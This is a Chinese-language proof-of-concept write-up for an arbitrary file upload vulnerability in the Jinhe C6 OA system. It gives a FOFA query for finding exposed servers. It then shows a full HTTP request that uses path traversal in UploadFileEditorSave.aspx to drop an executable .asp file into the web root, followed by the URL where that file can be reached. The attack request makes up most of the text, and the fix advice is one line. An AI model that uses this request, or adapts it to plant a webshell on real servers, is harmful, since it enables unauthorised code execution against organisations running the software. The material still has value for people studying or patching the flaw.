金和-c6 uploadfileeditorsave 任意文件上传漏洞复现
1.漏洞介绍
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统升开发平台,电子政务一体化平台智慧电商平合等服务.
2.漏洞编号
CVE | CNVD | CNNVD |
---|---|---|
3.影响范围
名称 | 版本号 |
---|---|
4.检索特征
fofa: app=“金和网络-金和OA”
5.exp(或poc、payload)
POST /C6/Control/UploadFileEditorSave.aspx?filename=\....\....\C6\qps4cckjuz2.asp HTTP/1.1
Host: you_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Content-Length: 187
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----9fh1lo9qobtszaiahg6v
Priority: u=0, i
Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
------9fh1lo9qobtszaiahg6v
Content-Disposition: form-data; name="file"; filename="qps4cckjuz.jpg"
Content-Type: image/png
<% response.write(111*111)
%>
------9fh1lo9qobtszaiahg6v--
http://you_ip/C6/qps4cckjuz2.asp
6.修复建议
更新到最新版本